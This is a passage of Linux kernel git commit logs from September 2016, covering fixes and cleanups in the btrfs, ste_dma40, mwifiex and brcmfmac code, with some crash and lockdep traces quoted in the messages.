woal_main_work_queue+0x45/0x80 [usb8xxx] [ 2253.625543] [] process_one_work+0x150/0x3f0 [ 2253.625545] [] worker_thread+0x121/0x520 [ 2253.625547] [] ? rescuer_thread+0x330/0x330 [ 2253.625549] [] kthread+0xd2/0xf0 [ 2253.625551] [] ? kthread_create_on_node+0x1c0/0x1c0 [ 2253.625553] [] ret_from_fork+0x7c/0xb0 [ 2253.625555] [] ? kthread_create_on_node+0x1c0/0x1c0 In mwifiex_usb_tx_complete(), we are updating port->block_status first and then freeing the skb attached to that URB. We may end up attaching new skb to URB in a corner case and same will be freed. This results in the kernel crash. The problem is solved by changing the sequence. Signed-off-by: Cathy Luo Signed-off-by: Shengzhen Li Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/usb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 4d8673a0494a0f20bead7aea7dc5906c74451554 Author: Markus Elfring Date: Sat Sep 17 16:39:06 2016 +0200 ste_dma40: Rename a jump label in d40_log_lli_to_lcxa() Adjust a jump label according to the current Linux coding style convention. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit b140ea0fc59ed4b9e99fe9cc0e58f15594d95976 Author: Markus Elfring Date: Sat Sep 17 16:28:54 2016 +0200 ste_dma40: Rename a jump label in __d40_execute_command_phy() Adjust a jump label according to the current Linux coding style convention. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d4cd217ac5486b4f05222fc3e49427d9d855d628 Author: Markus Elfring Date: Sat Sep 17 16:23:43 2016 +0200 ste_dma40: Rename a jump label in dma_tasklet() Adjust a jump label according to the current Linux coding style convention. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 4867268c57ff709a7b6b86ae6f6537d846d1443a Author: Josef Bacik Date: Fri Sep 23 13:23:28 2016 +0200 Btrfs: don't BUG() during drop snapshot Really there's lots of things that can go wrong here, kill all the BUG_ON()'s and replace the logic ones with ASSERT()'s and return EIO instead. Signed-off-by: Josef Bacik [ switched to btrfs_err, errors go to common label ] Reviewed-by: Liu Bo Signed-off-by: David Sterba fs/btrfs/extent-tree.c | 38 +++++++++++++++++++++++++++----------- 1 file changed, 27 insertions(+), 11 deletions(-) commit 2fd57fcb16483d718043940fd6dfeb176d4dc09c Author: Arnd Bergmann Date: Fri Sep 23 18:05:21 2016 +0200 btrfs: fix btrfs_no_printk stub helper The addition of btrfs_no_printk() caused a build failure when CONFIG_PRINTK is disabled: fs/btrfs/send.c: In function 'send_rename': fs/btrfs/ctree.h:3367:2: error: implicit declaration of function 'btrfs_no_printk' [-Werror=implicit-function-declaration] This moves the helper outside of that #ifdef so it is always defined, and changes the existing #ifdef to refer to that helper as well for consistency. Fixes: 47c57058ff2c ("btrfs: btrfs_debug should consume fs_info when DEBUG is not defined") Signed-off-by: Arnd Bergmann Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/ctree.h | 17 +++++++---------- 1 file changed, 7 insertions(+), 10 deletions(-) commit 851cd173f06045816528176001cf82948282029c Author: Liu Bo Date: Fri Sep 23 13:44:44 2016 -0700 Btrfs: memset to avoid stale content in btree leaf This is an additional patch to "Btrfs: memset to avoid stale content in btree node block". This uses memset to initialize the unused space in a leaf to avoid potential stale content, which may be incurred by pushing items between sibling leaves. Signed-off-by: Liu Bo Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/ctree.c | 14 -------------- fs/btrfs/ctree.h | 15 +++++++++++++++ fs/btrfs/extent_io.c | 18 +++++++++++++----- 3 files changed, 28 insertions(+), 19 deletions(-) commit 0f5053eb90f58c619885eac2757ccdc5eccd9046 Author: Goldwyn Rodrigues Date: Thu Sep 22 14:11:34 2016 -0500 btrfs: parent_start initialization cleanup Code cleanup. parent_start is initialized multiple times when it is not necessary to do so. Signed-off-by: Goldwyn Rodrigues Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/ctree.c | 18 +++--------------- 1 file changed, 3 insertions(+), 15 deletions(-) commit 6cea66e5447caff77d4a3a61295a5d922b97cb4a Author: Goldwyn Rodrigues Date: Thu Sep 22 14:12:09 2016 -0500 btrfs: Remove already completed TODO comment Fixes: 7cf5b97650f2 ("btrfs: qgroup: Cleanup old inaccurate facilities") Signed-off-by: Goldwyn Rodrigues Signed-off-by: David Sterba fs/btrfs/extent-tree.c | 2 -- 1 file changed, 2 deletions(-) commit dd12d5b8046f556cd9d13ab9d0e83ce03c6f3a16 Author: Goldwyn Rodrigues Date: Thu Sep 22 14:11:47 2016 -0500 btrfs: Do not reassign count in btrfs_run_delayed_refs Code cleanup. count is already (unsgined long)-1. That is the reason run_all was set. Do not reassign it (unsigned long)-1. Signed-off-by: Goldwyn Rodrigues Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/extent-tree.c | 1 - 1 file changed, 1 deletion(-) commit 0ccd05285e7f5a8e297e1d6dfc41e7c65757d6fa Author: Anand Jain Date: Thu Sep 22 12:56:13 2016 +0800 btrfs: fix a possible umount deadlock btrfs_show_devname() is using the device_list_mutex, sometimes a call to blkdev_put() leads vfs calling into this func. So call blkdev_put() outside of device_list_mutex, as of now. [ 983.284212] ====================================================== [ 983.290401] [ INFO: possible circular locking dependency detected ] [ 983.296677] 4.8.0-rc5-ceph-00023-g1b39cec2 #1 Not tainted [ 983.302081] ------------------------------------------------------- [ 983.308357] umount/21720 is trying to acquire lock: [ 983.313243] (&bdev->bd_mutex){+.+.+.}, at: [] blkdev_put+0x31/0x150 [ 983.321264] [ 983.321264] but task is already holding lock: [ 983.327101] (&fs_devs->device_list_mutex){+.+...}, at: [] __btrfs_close_devices+0x46/0x200 [btrfs] [ 983.337839] [ 983.337839] which lock already depends on the new lock. [ 983.337839] [ 983.346024] [ 983.346024] the existing dependency chain (in reverse order) is: [ 983.353512] -> #4 (&fs_devs->device_list_mutex){+.+...}: [ 983.359096] [] lock_acquire+0x1bc/0x1f0 [ 983.365143] [] mutex_lock_nested+0x65/0x350 [ 983.371521] [] btrfs_show_devname+0x36/0x1f0 [btrfs] [ 983.378710] [] show_vfsmnt+0x4e/0x150 [ 983.384593] [] m_show+0x17/0x20 [ 983.389957] [] seq_read+0x2b5/0x3b0 [ 983.395669] [] __vfs_read+0x28/0x100 [ 983.401464] [] vfs_read+0xab/0x150 [ 983.407080] [] SyS_read+0x52/0xb0 [ 983.412609] [] entry_SYSCALL_64_fastpath+0x23/0xc1 [ 983.419617] -> #3 (namespace_sem){++++++}: [ 983.424024] [] lock_acquire+0x1bc/0x1f0 [ 983.430074] [] down_write+0x49/0x80 [ 983.435785] [] lock_mount+0x67/0x1c0 [ 983.441582] [] do_add_mount+0x32/0xf0 [ 983.447458] [] finish_automount+0x5a/0xc0 [ 983.453682] [] follow_managed+0x1b3/0x2a0 [ 983.459912] [] lookup_fast+0x300/0x350 [ 983.465875] [] path_openat+0x3a7/0xaa0 [ 983.471846] [] do_filp_open+0x85/0xe0 [ 983.477731] [] do_sys_open+0x14c/0x1f0 [ 983.483702] [] SyS_open+0x1e/0x20 [ 983.489240] [] entry_SYSCALL_64_fastpath+0x23/0xc1 [ 983.496254] -> #2 (&sb->s_type->i_mutex_key#3){+.+.+.}: [ 983.501798] [] lock_acquire+0x1bc/0x1f0 [ 983.507855] [] down_write+0x49/0x80 [ 983.513558] [] start_creating+0x87/0x100 [ 983.519703] [] debugfs_create_dir+0x17/0x100 [ 983.526195] [] bdi_register+0x93/0x210 [ 983.532165] [] bdi_register_owner+0x43/0x70 [ 983.538570] [] device_add_disk+0x1fb/0x450 [ 983.544888] [] loop_add+0x1e6/0x290 [ 983.550596] [] loop_init+0x10b/0x14f [ 983.556394] [] do_one_initcall+0xa7/0x180 [ 983.562618] [] kernel_init_freeable+0x1cc/0x266 [ 983.569370] [] kernel_init+0xe/0x100 [ 983.575166] [] ret_from_fork+0x1f/0x40 [ 983.581131] -> #1 (loop_index_mutex){+.+.+.}: [ 983.585801] [] lock_acquire+0x1bc/0x1f0 [ 983.591858] [] mutex_lock_nested+0x65/0x350 [ 983.598256] [] lo_open+0x1f/0x60 [ 983.603704] [] __blkdev_get+0x123/0x400 [ 983.609757] [] blkdev_get+0x34a/0x350 [ 983.615639] [] blkdev_open+0x64/0x80 [ 983.621428] [] do_dentry_open+0x1c6/0x2d0 [ 983.627651] [] vfs_open+0x69/0x80 [ 983.633181] [] path_openat+0x834/0xaa0 [ 983.639152] [] do_filp_open+0x85/0xe0 [ 983.645035] [] do_sys_open+0x14c/0x1f0 [ 983.650999] [] SyS_open+0x1e/0x20 [ 983.656535] [] entry_SYSCALL_64_fastpath+0x23/0xc1 [ 983.663541] -> #0 (&bdev->bd_mutex){+.+.+.}: [ 983.668107] [] __lock_acquire+0x1003/0x17b0 [ 983.674510] [] lock_acquire+0x1bc/0x1f0 [ 983.680561] [] mutex_lock_nested+0x65/0x350 [ 983.686967] [] blkdev_put+0x31/0x150 [ 983.692761] [] btrfs_close_bdev+0x4f/0x60 [btrfs] [ 983.699699] [] __btrfs_close_devices+0xcb/0x200 [btrfs] [ 983.707178] [] btrfs_close_devices+0x2b/0xa0 [btrfs] [ 983.714380] [] close_ctree+0x265/0x340 [btrfs] [ 983.721061] [] btrfs_put_super+0x19/0x20 [btrfs] [ 983.727908] [] generic_shutdown_super+0x6f/0x100 [ 983.734744] [] kill_anon_super+0x16/0x30 [ 983.740888] [] btrfs_kill_super+0x1e/0x130 [btrfs] [ 983.747909] [] deactivate_locked_super+0x49/0x80 [ 983.754745] [] deactivate_super+0x5d/0x70 [ 983.760977] [] cleanup_mnt+0x5c/0x80 [ 983.766773] [] __cleanup_mnt+0x12/0x20 [ 983.772738] [] task_work_run+0x7e/0xc0 [ 983.778708] [] exit_to_usermode_loop+0x7e/0xb4 [ 983.785373] [] syscall_return_slowpath+0xbb/0xd0 [ 983.792212] [] entry_SYSCALL_64_fastpath+0xbf/0xc1 [ 983.799225] [ 983.799225] other info that might help us debug this: [ 983.799225] [ 983.807291] Chain exists of: &bdev->bd_mutex --> namespace_sem --> &fs_devs->device_list_mutex [ 983.816521] Possible unsafe locking scenario: [ 983.816521] [ 983.822489] CPU0 CPU1 [ 983.827043] ---- ---- [ 983.831599] lock(&fs_devs->device_list_mutex); [ 983.836289] lock(namespace_sem); [ 983.842268] lock(&fs_devs->device_list_mutex); [ 983.849478] lock(&bdev->bd_mutex); [ 983.853127] [ 983.853127] *** DEADLOCK *** [ 983.853127] [ 983.859113] 3 locks held by umount/21720: [ 983.863145] #0: (&type->s_umount_key#35){++++..}, at: [] deactivate_super+0x55/0x70 [ 983.872713] #1: (uuid_mutex){+.+.+.}, at: [] btrfs_close_devices+0x23/0xa0 [btrfs] [ 983.882206] #2: (&fs_devs->device_list_mutex){+.+...}, at: [] __btrfs_close_devices+0x46/0x200 [btrfs] [ 983.893422] [ 983.893422] stack backtrace: [ 983.897824] CPU: 6 PID: 21720 Comm: umount Not tainted 4.8.0-rc5-ceph-00023-g1b39cec2 #1 [ 983.905958] Hardware name: Supermicro SYS-5018R-WR/X10SRW-F, BIOS 1.0c 09/07/2015 [ 983.913492] 0000000000000000 ffff8c8a53c17a38 ffffffff91429521 ffffffff9260f4f0 [ 983.921018] ffffffff92642760 ffff8c8a53c17a88 ffffffff911b2b04 0000000000000050 [ 983.928542] ffffffff9237d620 ffff8c8a5294aee0 ffff8c8a5294aeb8 ffff8c8a5294aee0 [ 983.936072] Call Trace: [ 983.938545] [] dump_stack+0x85/0xc4 [ 983.943715] [] print_circular_bug+0x1fb/0x20c [ 983.949748] [] __lock_acquire+0x1003/0x17b0 [ 983.955613] [] lock_acquire+0x1bc/0x1f0 [ 983.961123] [] ? blkdev_put+0x31/0x150 [ 983.966550] [] mutex_lock_nested+0x65/0x350 [ 983.972407] [] ? blkdev_put+0x31/0x150 [ 983.977832] [] blkdev_put+0x31/0x150 [ 983.983101] [] btrfs_close_bdev+0x4f/0x60 [btrfs] [ 983.989500] [] __btrfs_close_devices+0xcb/0x200 [btrfs] [ 983.996415] [] btrfs_close_devices+0x2b/0xa0 [btrfs] [ 984.003068] [] close_ctree+0x265/0x340 [btrfs] [ 984.009189] [] ? evict_inodes+0x15e/0x170 [ 984.014881] [] btrfs_put_super+0x19/0x20 [btrfs] [ 984.021176] [] generic_shutdown_super+0x6f/0x100 [ 984.027476] [] kill_anon_super+0x16/0x30 [ 984.033082] [] btrfs_kill_super+0x1e/0x130 [btrfs] [ 984.039548] [] deactivate_locked_super+0x49/0x80 [ 984.045839] [] deactivate_super+0x5d/0x70 [ 984.051525] [] cleanup_mnt+0x5c/0x80 [ 984.056774] [] __cleanup_mnt+0x12/0x20 [ 984.062201] [] task_work_run+0x7e/0xc0 [ 984.067625] [] exit_to_usermode_loop+0x7e/0xb4 [ 984.073747] [] syscall_return_slowpath+0xbb/0xd0 [ 984.080038] [] entry_SYSCALL_64_fastpath+0xbf/0xc1 Reported-by: Ilya Dryomov Signed-off-by: Anand Jain Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/volumes.c | 26 ++++++++++++++++++++------ 1 file changed, 20 insertions(+), 6 deletions(-) commit a958eab0ed7fdc1b977bc25d3af6efedaa945488 Author: Liu Bo Date: Tue Sep 13 19:02:27 2016 -0700 Btrfs: fix memory leak in do_walk_down The extent buffer 'next' needs to be free'd conditionally. Signed-off-by: Liu Bo Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/extent-tree.c | 1 + 1 file changed, 1 insertion(+) commit c01f5f96f511419ee656a60e09605b7b6a63b66c Author: Jeff Mahoney Date: Wed Sep 21 12:17:37 2016 -0400 btrfs: btrfs_debug should consume fs_info when DEBUG is not defined We can hit unused variable warnings when btrfs_debug and friends are just aliases for no_printk. This is due to the fs_info not getting consumed by the function call, which can happen if convenenience variables are used. This patch adds a new btrfs_no_printk static inline that consumes the convenience variable and does nothing else. It silences the unused variable warning and has no impact on the generated code: $ size fs/btrfs/extent_io.o* text data bss dec hex filename 44072 152 32 44256 ace0 fs/btrfs/extent_io.o.btrfs_no_printk 44072 152 32 44256 ace0 fs/btrfs/extent_io.o.no_printk Fixes: 27a0dd61a5 (Btrfs: make btrfs_debug match pr_debug handling related to DEBUG) Signed-off-by: Jeff Mahoney Signed-off-by: David Sterba fs/btrfs/ctree.h | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) commit 04ab956ee69cdbe8627f6e34b88af5c308eede84 Author: Jeff Mahoney Date: Tue Sep 20 10:05:03 2016 -0400 btrfs: convert send's verbose_printk to btrfs_debug This was basically an open-coded, less flexible dynamic printk. We can just use btrfs_debug instead. Signed-off-by: Jeff Mahoney Signed-off-by: David Sterba fs/btrfs/send.c | 65 +++++++++++++++++++++++++++++++++------------------------ 1 file changed, 38 insertions(+), 27 deletions(-) commit ab8d0fc48dba09e0a2b8b0dbfe144d4de9eb874f Author: Jeff Mahoney Date: Tue Sep 20 10:05:02 2016 -0400 btrfs: convert pr_* to btrfs_* where possible For many printks, we want to know which file system issued the message. This patch converts most pr_* calls to use the btrfs_* versions instead. In some cases, this means adding plumbing to allow call sites access to an fs_info pointer. fs/btrfs/check-integrity.c is left alone for another day. Signed-off-by: Jeff Mahoney Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/backref.c | 43 ++++++++++++++-------- fs/btrfs/compression.c | 2 +- fs/btrfs/ctree.h | 2 +- fs/btrfs/delayed-ref.c | 9 +++-- fs/btrfs/dev-replace.c | 2 +- fs/btrfs/disk-io.c | 90 ++++++++++++++++++++++++--------------------- fs/btrfs/extent-tree.c | 66 ++++++++++++++++++--------------- fs/btrfs/extent_io.c | 53 +++++++++++++++----------- fs/btrfs/free-space-cache.c | 8 ++-- fs/btrfs/free-space-cache.h | 6 ++- fs/btrfs/free-space-tree.c | 2 +- fs/btrfs/inode-map.c | 31 +++++++++------- fs/btrfs/inode.c | 16 ++++---- fs/btrfs/qgroup.c | 11 +++--- fs/btrfs/reada.c | 6 +-- fs/btrfs/super.c | 10 +++-- fs/btrfs/transaction.c | 14 ++++--- fs/btrfs/transaction.h | 1 + fs/btrfs/volumes.c | 34 ++++++++++------- fs/btrfs/volumes.h | 2 +- 20 files changed, 231 insertions(+), 177 deletions(-) commit 8eff80e49f8fd4e1fb88c74b81b8bad33e4f1328 Author: Markus Elfring Date: Sat Sep 17 16:16:42 2016 +0200 ste_dma40: Rename jump labels in d40_alloc_mask_set() Adjust jump labels according to the current Linux coding style convention. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 22 ++++++++++------------ 1 file changed, 10 insertions(+), 12 deletions(-) commit f19b8ee88f5311bc5a8661c618d33f1e1002d59e Author: Markus Elfring Date: Sat Sep 17 16:10:41 2016 +0200 ste_dma40: Rename a jump label in d40_alloc_mask_free() Adjust a jump label according to the current Linux coding style convention. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit e714b470af267a300a98b4d97aa5b800503fa5b9 Author: Markus Elfring Date: Sat Sep 17 16:04:46 2016 +0200 ste_dma40: Rename a jump label in d40_free_dma() Adjust a jump label according to the current Linux coding style convention. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 5a5eecb36b82288d92bacbdb3dd30fa4cc741e90 Author: Markus Elfring Date: Sat Sep 17 16:00:05 2016 +0200 ste_dma40: Rename a jump label in d40_is_paused() Adjust jump labels according to the current Linux coding style convention. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 86145910697891c6adb8fc11c48d59cf1ec4a842 Author: Markus Elfring Date: Sat Sep 17 15:54:12 2016 +0200 ste_dma40: Move an assignment in d40_prep_desc() Move one assignment for the local variable "cfg" so that its setting will only be performed after a call of the function "d40_desc_get" succeeded by this function. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 254e1254ff37239f946350fb5e93b8eea069b223 Author: Markus Elfring Date: Sat Sep 17 15:51:37 2016 +0200 ste_dma40: Rename a jump label in d40_prep_desc() Adjust jump labels according to the current Linux coding style convention. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 444fa14746c1c19384f91490ed4c19c67517949e Author: Markus Elfring Date: Sat Sep 17 15:40:05 2016 +0200 ste_dma40: Move two assignments in d40_prep_sg() Move assignments for two local variables so that their setting will only be performed after corresponding data processing succeeded by this function. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 78c6e1a5943b464c47e864ca1092287fa4aa219b Author: Markus Elfring Date: Sat Sep 17 15:34:07 2016 +0200 ste_dma40: One check less in d40_prep_sg() after error detection * Adjust jump targets according to the Linux coding style convention. * Delete a repeated check which became unnecessary with this refactoring. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) commit 8452b85906b6a731b619baba30c0a14fedbafdaa Author: Markus Elfring Date: Sat Sep 17 15:15:15 2016 +0200 ste_dma40: Rename a jump label in d40_alloc_chan_resources() Adjust jump labels according to the current Linux coding style convention. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit c9909935a854941b0a4c299e6b5af5c178f64e93 Author: Markus Elfring Date: Sat Sep 17 15:10:15 2016 +0200 ste_dma40: Rename jump labels in d40_dmaengine_init() Adjust jump labels according to the current Linux coding style convention. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit d7b7ecce4bcb15e92e114f0034ece6bde6b339b8 Author: Markus Elfring Date: Sat Sep 17 14:50:53 2016 +0200 ste_dma40: Rename a jump label in d40_probe() Adjust jump labels according to the current Linux coding style convention. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 25 ++++++++++++------------- 1 file changed, 12 insertions(+), 13 deletions(-) commit 876e023524051e909e48684f4b534f0803df7468 Author: Markus Elfring Date: Sat Sep 17 14:36:26 2016 +0200 ste_dma40: Adjust the position of a jump label in d40_probe() Add a space character before a single jump label in this function according to the current Linux coding style convention. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 11f7a8d19bc85c82241a6540cd83d2aad7e94a04 Author: Markus Elfring Date: Sat Sep 17 14:34:18 2016 +0200 ste_dma40: Delete unnecessary variable initialisations in d40_hw_detect_init() Five local variables will be set to an appropriate value a bit later. Thus omit the explicit initialisation which became unnecessary with a previous update step. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit f4534adbcfbb38a21691ca8dfdc8750689d8bcc9 Author: Markus Elfring Date: Sat Sep 17 14:10:47 2016 +0200 ste_dma40: Less checks in d40_hw_detect_init() after error detection Four checks could be repeated by the d40_hw_detect_init() function during error handling even if the passed variables contained a null pointer. * Adjust jump targets according to the Linux coding style convention. * Call the interface "iounmap" only once at the end. * Delete the repeated checks which became unnecessary with this refactoring. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 67 ++++++++++++++++++++++++------------------------- 1 file changed, 33 insertions(+), 34 deletions(-) commit 28c01058b28527be2a81e8ba2a53437910defbf3 Author: Markus Elfring Date: Sat Sep 17 11:44:55 2016 +0200 ste_dma40: Use kmalloc_array() in d40_hw_detect_init() A multiplication for the size determination of a memory allocation indicated that an array data structure should be processed. Thus use the corresponding function "kmalloc_array". This issue was detected also by using the Coccinelle software. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit e349d4b7317818cbb21096ead26420c80819ddd4 Author: Markus Elfring Date: Sat Sep 17 09:56:32 2016 +0200 ste_dma40: Replace four kzalloc() calls by kcalloc() in d40_hw_detect_init() * The script "checkpatch.pl" can point information out like the following. WARNING: Prefer kcalloc over kzalloc with multiply Thus fix the affected source code places. * Replace the specification of data types by pointer dereferences to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) commit 71660223f50036e67a2a66cf55815fa665639d3a Author: Markus Elfring Date: Sat Sep 17 08:28:05 2016 +0200 ste_dma40: Improve a size determination in d40_of_probe() Replace the specification of a data structure by a pointer dereference as the parameter for the operator "sizeof" to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit abac5bac829cc9d8cf178344b4f34b2264927672 Author: Markus Elfring Date: Sat Sep 17 08:24:46 2016 +0200 ste_dma40: Move an assignment in d40_lcla_allocate() Move one assignment for the local variable "ret" so that its setting will only be performed after corresponding data processing succeeded by this function. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit aae32ec6e39a513f2049b2d37825957971d4f7f1 Author: Markus Elfring Date: Sat Sep 17 08:23:37 2016 +0200 ste_dma40: Rename a jump label in d40_lcla_allocate() Adjust jump labels according to the current Linux coding style convention. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 2c7f2f20da9d3fe13ed08d1661ebc12d4ce0cab9 Author: Markus Elfring Date: Sat Sep 17 08:21:30 2016 +0200 ste_dma40: Return directly after a failed kmalloc_array() Return directly after a memory allocation failed in this function at the beginning. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit cf80ecf7a277e7908264f822c721f93403cf518f Author: Markus Elfring Date: Fri Sep 16 17:56:07 2016 +0200 ste_dma40: Use kmalloc_array() in d40_lcla_allocate() * A multiplication for the size determination of a memory allocation indicated that an array data structure should be processed. Thus use the corresponding function "kmalloc_array". This issue was detected by using the Coccinelle software. * Replace the specification of a data type by a pointer dereference to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Reviewed-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 92c313604711a0976def79dabb9e8da3cc2cc780 Author: Hante Meuleman Date: Mon Sep 19 12:09:59 2016 +0100 brcmfmac: simplify mapping of auth type The 802.11 standard only has four valid auth type configurations of which our firmware only supports two, ie. Open System and Shared Key. Simplify the mapping falling back to automatic for other types specified by user-space. Reviewed-by: Arend Van Spriel Reviewed-by: Franky Lin Reviewed-by: Pieter-Paul Giesberts Signed-off-by: Hante Meuleman Signed-off-by: Arend van Spriel Signed-off-by: Kalle Valo drivers/net/wireless/broadcom/brcm80211/brcmfmac/cfg80211.c | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) commit a7ed7828ecda0c2b5e0d7f55dedd4230afd4b583 Author: Hante Meuleman Date: Mon Sep 19 12:09:58 2016 +0100 brcmfmac: fix out of bound access on clearing wowl wake indicator Clearing the wowl wakeindicator happens with a rather odd construction where the string "clear" is used to set the iovar wowl_wakeind. This was implemented incorrectly as it caused an out of bound access. Use an intermediate variable of correct length and copy string in that. Problem was found using coverity. Reviewed-by: Arend Van Spriel Reviewed-by: Franky Lin Reviewed-by: Pieter-Paul Giesberts Signed-off-by: Hante Meuleman Signed-off-by: Arend van Spriel Signed-off-by: Kalle Valo drivers/net/wireless/broadcom/brcm80211/brcmfmac/cfg80211.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 2b7425f3629b38c438f890c20c5faeca64b144ff Author: Hante Meuleman Date: Mon Sep 19 12:09:57 2016 +0100 brcmfmac: fix clearing entry IPv6 address When IPv6 address is to be cleared there is a possible out of bound access. But also the clearing of the last entry and the adjustment of total number of stored IPv6 addresses is not updated. This patch fixes that bug. Bug was found using coverity. Reviewed-by: Arend Van Spriel Reviewed-by: Franky Lin Reviewed-by: Pieter-Paul Giesberts Signed-off-by: Hante Meuleman Signed-off-by: Arend van Spriel Signed-off-by: Kalle Valo drivers/net/wireless/broadcom/brcm80211/brcmfmac/core.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 835680b82f029818c813324aed3073cdcf63241f Author: Hante Meuleman Date: Mon Sep 19 12:09:56 2016 +0100 brcmfmac: remove unnecessary null pointer check in the function brcmf_bus_start() in the exception handling a check is made to dermine whether ifp is null, though this is not possible. Removing the unnessary check. Reviewed-by: Arend Van Spriel Reviewed-by: Franky Lin Reviewed-by: Pieter-Paul Giesberts Signed-off-by: Hante Meuleman Signed-off-by: Arend van Spriel Signed-off-by: Kalle Valo drivers/net/wireless/broadcom/brcm80211/brcmfmac/core.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 8fa5fdec09cd379c9ecb8972f344f8f308e0ccf3 Author: Arend Van Spriel Date: Mon Sep 19 12:09:55 2016 +0100 brcmfmac: remove worker from .ndo_set_mac_address() callback As it turns out there is no need to use a worker for the callback because it is not called from atomic context. Reported-by: Dan Williams Reviewed-by: Hante Meuleman Reviewed-by: Pieter-Paul Giesberts Reviewed-by: Franky Lin Signed-off-by: Arend van Spriel Signed-off-by: Kalle Valo .../wireless/broadcom/brcm80211/brcmfmac/core.c | 39 ++++++++-------------- .../wireless/broadcom/brcm80211/brcmfmac/core.h | 2 -- 2 files changed, 13 insertions(+), 28 deletions(-) commit 26305d3d7298d1ddf8fd4ce95a382aa90534f0a3 Author: Arend Van Spriel Date: Mon Sep 19 12:09:54 2016 +0100 brcmfmac: initialize variable in brcmf_sdiod_regrl() In case of an error the variable returned is uninitialized. The caller will probably check the error code before using it, but better assure it is set to zero. Reviewed-by: Hante Meuleman Reviewed-by: Pieter-Paul Giesberts Signed-off-by: Arend van Spriel Signed-off-by: Kalle Valo 